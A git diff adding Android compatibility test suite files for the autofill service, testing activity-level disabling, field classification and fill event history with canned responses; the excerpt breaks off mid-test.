+ public void testDisableActivity() throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .disableAutofill(Long.MAX_VALUE)
+ .setFillResponseFlags(FillResponse.FLAG_DISABLE_ACTIVITY_ONLY)
+ .build());
+
+ // Trigger autofill for the first time.
+ launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
+
+ // Launch activity again.
+ launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+
+ // Now try it using a different activity - should work.
+ launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+ }
+
+ @Test
+ public void testDisableActivityThenWaitToReenableIt() throws Exception {
+ // Set service.
+ enableService();
+
+ // Need to wait the equivalent of launching 2 activities, plus some extra legging room
+ final long duration = 2 * Helper.ACTIVITY_RESURRECTION_MS + 500;
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .disableAutofill(duration)
+ .setFillResponseFlags(FillResponse.FLAG_DISABLE_ACTIVITY_ONLY)
+ .build());
+
+ // Trigger autofill for the first time.
+ launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
+
+ // Launch activity again.
+ launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+
+ // Make sure other app is working.
+ launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+
+ // Wait for the timeout, then try again, autofilling it this time.
+ SystemClock.sleep(duration + 1);
+ launchSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+ }
+
+ @Test
+ public void testDisableActivityThenResetServiceToReenableIt() throws Exception {
+ enableService();
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .disableAutofill(Long.MAX_VALUE)
+ .setFillResponseFlags(FillResponse.FLAG_DISABLE_ACTIVITY_ONLY)
+ .build());
+
+ // Trigger autofill for the first time.
+ launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
+ // Launch activity again.
+ launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+
+ // Make sure other app is working.
+ launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+
+ // Then "reset" service to re-enable autofill.
+ disableService();
+ enableService();
+
+ // Try again on activity that disabled it.
+ launchSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java b/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java
new file mode 100644
index 0000000..59e7115
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java
@@ -0,0 +1,204 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.assertFillEventForContextCommitted;
+import static android.autofillservice.cts.Helper.assertFillEventForFieldsDetected;
+import static android.autofillservice.cts.Helper.runShellCommand;
+import static android.service.autofill.FillResponse.FLAG_TRACK_CONTEXT_COMMITED;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.provider.Settings;
+import android.service.autofill.FillEventHistory;
+import android.service.autofill.FillEventHistory.Event;
+import android.service.autofill.UserData;
+import android.view.autofill.AutofillId;
+import android.widget.EditText;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+import java.util.List;
+
+public class FieldsClassificationTest extends AutoFillServiceTestCase {
+
+ @Rule
+ public final AutofillActivityTestRule<GridActivity> mActivityRule =
+ new AutofillActivityTestRule<GridActivity>(GridActivity.class);
+
+ private GridActivity mActivity;
+ private int mEnabledBefore;
+
+
+ @Before
+ public void setActivity() {
+ mActivity = mActivityRule.getActivity();
+ }
+
+ // TODO(b/67867469): remove once feature is stable
+ @Before
+ public void enableFeature() {
+ mEnabledBefore = Settings.Secure.getInt(
+ mContext.getContentResolver(), Settings.Secure.AUTOFILL_FEATURE_FIELD_DETECTION, 0);
+ if (mEnabledBefore == 1) {
+ // Already enabled, ignore.
+ return;
+ }
+ final OneTimeSettingsListener observer = new OneTimeSettingsListener(mContext,
+ Settings.Secure.AUTOFILL_FEATURE_FIELD_DETECTION);
+ runShellCommand("settings put secure %s %s default",
+ Settings.Secure.AUTOFILL_FEATURE_FIELD_DETECTION, 1);
+ observer.assertCalled();
+ }
+
+ // TODO(b/67867469): remove once feature is stable
+ @After
+ public void restoreFeatureStatus() {
+ if (mEnabledBefore == 1) {
+ // Already enabled, ignore.
+ return;
+ }
+ final OneTimeSettingsListener observer = new OneTimeSettingsListener(mContext,
+ Settings.Secure.AUTOFILL_FEATURE_FIELD_DETECTION);
+ runShellCommand("settings put secure %s %s default",
+ Settings.Secure.AUTOFILL_FEATURE_FIELD_DETECTION, mEnabledBefore);
+ observer.assertCalled();
+ }
+
+ @Test
+ public void testFullHit() throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ mActivity.getAutofillManager()
+ .setUserData(new UserData.Builder("myId", "FULLY").build());
+ final MyAutofillCallback callback = mActivity.registerCallback();
+ final EditText field = mActivity.getCell(1, 1);
+ final AutofillId fieldId = field.getAutofillId();
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setFillResponseFlags(FLAG_TRACK_CONTEXT_COMMITED)
+ .setFieldClassificationIds(fieldId)
+ .build());
+
+ // Trigger autofill
+ mActivity.focusCell(1, 1);
+ sReplier.getNextFillRequest();
+
+ sUiBot.assertNoDatasets();
+ callback.assertUiUnavailableEvent(field);
+
+ // Simulate user input
+ mActivity.focusCell(1, 1);
+ mActivity.setText(1, 1, "fully");
+
+ // Finish context.
+ mActivity.getAutofillManager().commit();
+
+ // Assert results
+ final FillEventHistory history =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = history.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size()).isEqualTo(1);
+ assertFillEventForFieldsDetected(events.get(0), "myId", 0);
+ }
+
+ @Test
+ public void testMiss() throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ mActivity.getAutofillManager()
+ .setUserData(new UserData.Builder("myId", "ABCDEF").build());
+ final MyAutofillCallback callback = mActivity.registerCallback();
+ final EditText field = mActivity.getCell(1, 1);
+ final AutofillId fieldId = field.getAutofillId();
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setFillResponseFlags(FLAG_TRACK_CONTEXT_COMMITED)
+ .setFieldClassificationIds(fieldId)
+ .build());
+
+ // Trigger autofill
+ mActivity.focusCell(1, 1);
+ sReplier.getNextFillRequest();
+
+ sUiBot.assertNoDatasets();
+ callback.assertUiUnavailableEvent(field);
+
+ // Simulate user input
+ mActivity.setText(1, 1, "xyz");
+
+ // Finish context.
+ mActivity.getAutofillManager().commit();
+
+ // Assert results
+ final FillEventHistory history =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = history.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size()).isEqualTo(1);
+ assertFillEventForContextCommitted(events.get(0));
+ }
+
+ @Test
+ public void testNoUserInput() throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ mActivity.getAutofillManager()
+ .setUserData(new UserData.Builder("myId", "FULLY").build());
+ final MyAutofillCallback callback = mActivity.registerCallback();
+ final EditText field = mActivity.getCell(1, 1);
+ final AutofillId fieldId = field.getAutofillId();
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setFillResponseFlags(FLAG_TRACK_CONTEXT_COMMITED)
+ .setFieldClassificationIds(fieldId)
+ .build());
+
+ // Trigger autofill
+ mActivity.focusCell(1, 1);
+ sReplier.getNextFillRequest();
+
+ sUiBot.assertNoDatasets();
+ callback.assertUiUnavailableEvent(field);
+
+ // Finish context.
+ mActivity.getAutofillManager().commit();
+
+ // Assert results
+ final FillEventHistory history =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = history.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size()).isEqualTo(1);
+ assertFillEventForContextCommitted(events.get(0));
+ }
+
+ /*
+ * TODO(b/67867469): other scenarios:
+ *
+ * - Multipartition (for example, one response with FieldsDetection, others with datasets,
+ * saveinfo, and/or ignoredIds)
+ * - make sure detectable fields don't trigger a new partition
+ * - test partial hit (for example, 'fool' instead of 'full'
+ * - multiple fields
+ * - multiple value
+ * - combinations of above items
+ */
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryTest.java b/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryTest.java
new file mode 100644
index 0000000..b3190c8
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryTest.java
@@ -0,0 +1,1330 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.CannedFillResponse.DO_NOT_REPLY_RESPONSE;
+import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.CheckoutActivity.ID_CC_NUMBER;
+import static android.autofillservice.cts.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.Helper.ID_USERNAME;
+import static android.autofillservice.cts.Helper.NULL_DATASET_ID;
+import static android.autofillservice.cts.Helper.assertDeprecatedClientState;
+import static android.autofillservice.cts.Helper.assertFillEventForAuthenticationSelected;
+import static android.autofillservice.cts.Helper.assertFillEventForDatasetAuthenticationSelected;
+import static android.autofillservice.cts.Helper.assertFillEventForDatasetSelected;
+import static android.autofillservice.cts.Helper.assertFillEventForSaveShown;
+import static android.autofillservice.cts.Helper.assertNoDeprecatedClientState;
+import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilConnected;
+import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilDisconnected;
+import static android.autofillservice.cts.LoginActivity.BACKDOOR_USERNAME;
+import static android.autofillservice.cts.LoginActivity.getWelcomeMessage;
+import static android.service.autofill.FillEventHistory.Event.TYPE_CONTEXT_COMMITTED;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.CannedFillResponse.CannedDataset;
+import android.content.Intent;
+import android.content.IntentSender;
+import android.os.Bundle;
+import android.service.autofill.FillEventHistory;
+import android.service.autofill.FillEventHistory.Event;
+import android.service.autofill.FillResponse;
+import android.support.test.uiautomator.UiObject2;
+import android.view.View;
+import android.view.autofill.AutofillId;
+
+import com.google.common.collect.ImmutableMap;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Test that uses {@link LoginActivity} to test {@link FillEventHistory}.
+ */
+public class FillEventHistoryTest extends AutoFillServiceTestCase {
+
+ @Rule
+ public final AutofillActivityTestRule<LoginActivity> mActivityRule =
+ new AutofillActivityTestRule<LoginActivity>(LoginActivity.class);
+
+ private LoginActivity mActivity;
+
+ @Before
+ public void setActivity() {
+ mActivity = mActivityRule.getActivity();
+ }
+
+ @After
+ public void finishWelcomeActivity() {
+ WelcomeActivity.finishIt();
+ }
+
+ @Test
+ public void testDatasetAuthenticationSelected() throws Exception {
+ enableService();
+
+ // Set up FillResponse with dataset authentication
+ Bundle clientState = new Bundle();
+ clientState.putCharSequence("clientStateKey", "clientStateValue");
+
+ // Prepare the authenticated response
+ final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+ new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .setPresentation(createPresentation("Dataset"))
+ .build());
+
+ sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setField(ID_USERNAME, "username")
+ .setId("name")
+ .setPresentation(createPresentation("authentication"))
+ .setAuthentication(authentication)
+ .build())
+ .setExtras(clientState).build());
+ mActivity.expectAutoFill("dude", "sweet");
+
+ // Trigger autofill.
+ mActivity.onUsername(View::requestFocus);
+
+ // Authenticate
+ sUiBot.selectDataset("authentication");
+ sReplier.getNextFillRequest();
+ mActivity.assertAutoFilled();
+
+ // Verify fill selection
+ FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ assertDeprecatedClientState(selection, "clientStateKey", "clientStateValue");
+ List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size()).isEqualTo(1);
+ assertFillEventForDatasetAuthenticationSelected(events.get(0), "name",
+ "clientStateKey", "clientStateValue");
+ }
+
+ @Test
+ public void testAuthenticationSelected() throws Exception {
+ enableService();
+
+ // Set up FillResponse with response wide authentication
+ Bundle clientState = new Bundle();
+ clientState.putCharSequence("clientStateKey", "clientStateValue");
+
+ // Prepare the authenticated response
+ final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+ new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setField(ID_USERNAME, "username")
+ .setId("name")
+ .setPresentation(createPresentation("dataset"))
+ .build())
+ .setExtras(clientState).build());
+
+ sReplier.addResponse(new CannedFillResponse.Builder().setExtras(clientState)
+ .setPresentation(createPresentation("authentication"))
+ .setAuthentication(authentication, ID_USERNAME)
+ .build());
+
+ // Trigger autofill.
+ mActivity.onUsername(View::requestFocus);
+
+ // Authenticate
+ sUiBot.selectDataset("authentication");
+ sReplier.getNextFillRequest();
+ sUiBot.assertDatasets("dataset");
+
+ // Verify fill selection
+ FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ assertDeprecatedClientState(selection, "clientStateKey", "clientStateValue");
+ List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size()).isEqualTo(1);
+ assertFillEventForAuthenticationSelected(events.get(0), NULL_DATASET_ID,
+ "clientStateKey", "clientStateValue");
+ }
+
+ @Test
+ public void testDatasetSelected_twoResponses() throws Exception {
+ enableService();
+
+ // Set up first partition with an anonymous dataset
+ Bundle clientState1 = new Bundle();
+ clientState1.putCharSequence("clientStateKey", "Value1");
+
+ sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setField(ID_USERNAME, "username")
+ .setPresentation(createPresentation("dataset1"))
+ .build())
+ .setExtras(clientState1)
+ .build());
+ mActivity.expectAutoFill("username");
+
+ // Trigger autofill on username
+ mActivity.onUsername(View::requestFocus);
+ waitUntilConnected();
+ sUiBot.selectDataset("dataset1");
+ sReplier.getNextFillRequest();
+ mActivity.assertAutoFilled();
+
+ {
+ // Verify fill selection
+ FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+ .getFillEventHistory();
+ assertDeprecatedClientState(selection, "clientStateKey", "Value1");
+ List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID,
+ "clientStateKey", "Value1");
+ }
+
+ // Set up second partition with a named dataset
+ Bundle clientState2 = new Bundle();
+ clientState2.putCharSequence("clientStateKey", "Value2");
+
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .addDataset(
+ new CannedDataset.Builder()
+ .setField(ID_PASSWORD, "password2")
+ .setPresentation(createPresentation("dataset2"))
+ .setId("name2")
+ .build())
+ .addDataset(
+ new CannedDataset.Builder()
+ .setField(ID_PASSWORD, "password3")
+ .setPresentation(createPresentation("dataset3"))
+ .setId("name3")
+ .build())
+ .setExtras(clientState2)
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_PASSWORD).build());
+ mActivity.expectPasswordAutoFill("password3");
+
+ // Trigger autofill on password
+ mActivity.onPassword(View::requestFocus);
+ sUiBot.selectDataset("dataset3");
+ sReplier.getNextFillRequest();
+ mActivity.assertAutoFilled();
+
+ {
+ // Verify fill selection
+ FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+ .getFillEventHistory();
+ assertDeprecatedClientState(selection, "clientStateKey", "Value2");
+ List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), "name3",
+ "clientStateKey", "Value2");
+ }
+
+ mActivity.onPassword((v) -> v.setText("new password"));
+ mActivity.syncRunOnUiThread(() -> mActivity.finish());
+ waitUntilDisconnected();
+
+ {
+ // Verify fill selection
+ FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+ .getFillEventHistory();
+ assertDeprecatedClientState(selection, "clientStateKey", "Value2");
+
+ List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(2);
+ assertFillEventForDatasetSelected(events.get(0), "name3",
+ "clientStateKey", "Value2");
+ assertFillEventForSaveShown(events.get(1), NULL_DATASET_ID,
+ "clientStateKey", "Value2");
+ }
+ }
+
+ @Test
+ public void testNoEvents_whenServiceReturnsNullResponse() throws Exception {
+ enableService();
+
+ // First reset
+ sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setField(ID_USERNAME, "username")
+ .setPresentation(createPresentation("dataset1"))
+ .build())
+ .build());
+ mActivity.expectAutoFill("username");
+
+ mActivity.onUsername(View::requestFocus);
+ waitUntilConnected();
+ sReplier.getNextFillRequest();
+ sUiBot.selectDataset("dataset1");
+ mActivity.assertAutoFilled();
+
+ {
+ // Verify fill selection
+ FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+ .getFillEventHistory();
+ assertNoDeprecatedClientState(selection);
+ List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
+ }
+
+ // Second request
+ sReplier.addResponse(NO_RESPONSE);
+ mActivity.onPassword(View::requestFocus);
+ sReplier.getNextFillRequest();
+ sUiBot.assertNoDatasets();
+ waitUntilDisconnected();
+
+ {
+ // Verify fill selection
+ FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+ .getFillEventHistory();
+ assertThat(selection).isNull();
+ }
+ }
+
+ @Test
+ public void testNoEvents_whenServiceReturnsFailure() throws Exception {
+ enableService();
+
+ // First reset
+ sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setField(ID_USERNAME, "username")
+ .setPresentation(createPresentation("dataset1"))
+ .build())
+ .build());
+ mActivity.expectAutoFill("username");
+
+ mActivity.onUsername(View::requestFocus);
+ waitUntilConnected();
+ sReplier.getNextFillRequest();
+ sUiBot.selectDataset("dataset1");
+ mActivity.assertAutoFilled();
+
+ {
+ // Verify fill selection
+ FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+ .getFillEventHistory();
+ assertNoDeprecatedClientState(selection);
+ List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
+ }
+
+ // Second request
+ sReplier.addResponse(new CannedFillResponse.Builder().returnFailure("D'OH!").build());
+ mActivity.onPassword(View::requestFocus);
+ sReplier.getNextFillRequest();
+ sUiBot.assertNoDatasets();
+ waitUntilDisconnected();
+
+ {
+ // Verify fill selection
+ FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+ .getFillEventHistory();
+ assertThat(selection).isNull();
+ }
+ }
+
+ @Test
+ public void testNoEvents_whenServiceTimesout() throws Exception {
+ enableService();
+
+ // First reset
+ sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setField(ID_USERNAME, "username")
+ .setPresentation(createPresentation("dataset1"))
+ .build())
+ .build());
+ mActivity.expectAutoFill("username");
+
+ mActivity.onUsername(View::requestFocus);
+ waitUntilConnected();
+ sReplier.getNextFillRequest();
+ sUiBot.selectDataset("dataset1");
+ mActivity.assertAutoFilled();
+
+ {
+ // Verify fill selection
+ FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+ .getFillEventHistory();
+ assertNoDeprecatedClientState(selection);
+ List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
+ }
+
+ // Second request
+ sReplier.addResponse(DO_NOT_REPLY_RESPONSE);
+ mActivity.onPassword(View::requestFocus);
+ sReplier.getNextFillRequest();
+ waitUntilDisconnected();
+
+ {
+ // Verify fill selection
+ FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+ .getFillEventHistory();
+ assertThat(selection).isNull();
+ }
+ }
+
+ private Bundle getBundle(String key, String value) {
+ final Bundle bundle = new Bundle();
+ bundle.putString(key, value);
+ return bundle;
+ }
+
+ /**
+ * Tests the following scenario:
+ *
+ * <ol>
+ * <li>Activity A is launched.
+ * <li>Activity A triggers autofill.
+ * <li>Activity B is launched.
+ * <li>Activity B triggers autofill.
+ * <li>User goes back to Activity A.
+ * <li>User triggers save on Activity A - at this point, service should have stats of
+ * activity B, and stats for activity A should have beeen discarded.
+ * </ol>
+ */
+ @Test
+ public void testEventsFromPreviousSessionIsDiscarded() throws Exception {
+ enableService();
+
+ // Launch activity A
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setExtras(getBundle("activity", "A"))
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+ .build());
+
+ // Trigger autofill on activity A
+ mActivity.onUsername(View::requestFocus);
+ waitUntilConnected();
+ sReplier.getNextFillRequest();
+
+ // Verify fill selection for Activity A
+ FillEventHistory selectionA = InstrumentedAutoFillService.peekInstance()
+ .getFillEventHistory();
+ assertDeprecatedClientState(selectionA, "activity", "A");
+ assertThat(selectionA.getEvents()).isNull();
+
+ // Launch activity B
+ mContext.startActivity(new Intent(mContext, CheckoutActivity.class));
+
+ // Trigger autofill on activity B
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setExtras(getBundle("activity", "B"))
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_CC_NUMBER, "4815162342")
+ .setPresentation(createPresentation("datasetB"))
+ .build())
+ .build());
+ sUiBot.focusByRelativeId(ID_CC_NUMBER);
+ sReplier.getNextFillRequest();
+
+ // Verify fill selection for Activity B
+ final FillEventHistory selectionB = InstrumentedAutoFillService.peekInstance()
+ .getFillEventHistory();
+ assertDeprecatedClientState(selectionB, "activity", "B");
+ assertThat(selectionB.getEvents()).isNull();
+
+ // Now switch back to A...
+ sUiBot.pressBack(); // dismiss keyboard
+ sUiBot.pressBack(); // dismiss task
+ sUiBot.assertShownByRelativeId(ID_USERNAME);
+ // ...and trigger save
+ // Set credentials...
+ mActivity.onUsername((v) -> v.setText("malkovich"));
+ mActivity.onPassword((v) -> v.setText("malkovich"));
+ final String expectedMessage = getWelcomeMessage("malkovich");
+ final String actualMessage = mActivity.tapLogin();
+ assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+ sReplier.getNextSaveRequest();
+
+ // Finally, make sure history is right
+ final FillEventHistory finalSelection = InstrumentedAutoFillService.peekInstance()
+ .getFillEventHistory();
+ assertDeprecatedClientState(finalSelection, "activity", "B");
+ assertThat(finalSelection.getEvents()).isNull();
+ }
+
+ @Test
+ public void testContextCommitted_whenServiceDidntDoAnything() throws Exception {
+ enableService();
+
+ sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
+
+ // Trigger autofill on username
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+ sUiBot.assertNoDatasets();
+
+ // Trigger save
+ mActivity.onUsername((v) -> v.setText("malkovich"));
+ mActivity.onPassword((v) -> v.setText("malkovich"));
+ final String expectedMessage = getWelcomeMessage("malkovich");
+ final String actualMessage = mActivity.tapLogin();
+ assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ // Assert no events where generated
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ assertThat(selection).isNull();
+ }
+
+ @Test
+ public void textContextCommitted_withoutDatasets() throws Exception {
+ enableService();
+
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+ .build());
+
+ // Trigger autofill on username
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+ sUiBot.assertNoDatasets();
+
+ // Trigger save
+ mActivity.onUsername((v) -> v.setText("malkovich"));
+ mActivity.onPassword((v) -> v.setText("malkovich"));
+ final String expectedMessage = getWelcomeMessage("malkovich");
+ final String actualMessage = mActivity.tapLogin();
+ assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+ sReplier.getNextSaveRequest();
+
+ // Assert it
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size()).isEqualTo(1);
+ assertFillEventForSaveShown(events.get(0), NULL_DATASET_ID);
+ }
+
+ @Test
+ public void testContextCommitted_withoutFlagOnLastResponse() throws Exception {
+ enableService();
+ // Trigger 1st autofill request
+ sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setId("id1")
+ .setField(ID_USERNAME, BACKDOOR_USERNAME)
+ .setPresentation(createPresentation("dataset1"))
+ .build())
+ .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+ .build());
+ mActivity.expectAutoFill(BACKDOOR_USERNAME);
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+ sUiBot.selectDataset("dataset1");
+ mActivity.assertAutoFilled();
+ // Verify fill history
+ {
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), "id1");
+ }
+
+ // Trigger 2st autofill request (which will clear the fill event history)
+ sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setId("id2")
+ .setField(ID_PASSWORD, "whatever")
+ .setPresentation(createPresentation("dataset2"))
+ .build())
+ // don't set flags
+ .build());
+ mActivity.expectPasswordAutoFill("whatever");
+ mActivity.onPassword(View::requestFocus);
+ sReplier.getNextFillRequest();
+ sUiBot.selectDataset("dataset2");
+ mActivity.assertAutoFilled();
+ // Verify fill history
+ {
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), "id2");
+ }
+
+ // Finish the context by login in
+ final String expectedMessage = getWelcomeMessage(BACKDOOR_USERNAME);
+ final String actualMessage = mActivity.tapLogin();
+ assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ {
+ // Verify fill history
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+
+ assertFillEventForDatasetSelected(events.get(0), "id2");
+ }
+ }
+
+ @Test
+ public void testContextCommitted_idlessDatasets() throws Exception {
+ enableService();
+
+ sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setField(ID_USERNAME, "username1")
+ .setField(ID_PASSWORD, "password1")
+ .setPresentation(createPresentation("dataset1"))
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "username2")
+ .setField(ID_PASSWORD, "password2")
+ .setPresentation(createPresentation("dataset2"))
+ .build())
+ .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+ .build());
+ mActivity.expectAutoFill("username1", "password1");
+
+ // Trigger autofill on username
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+
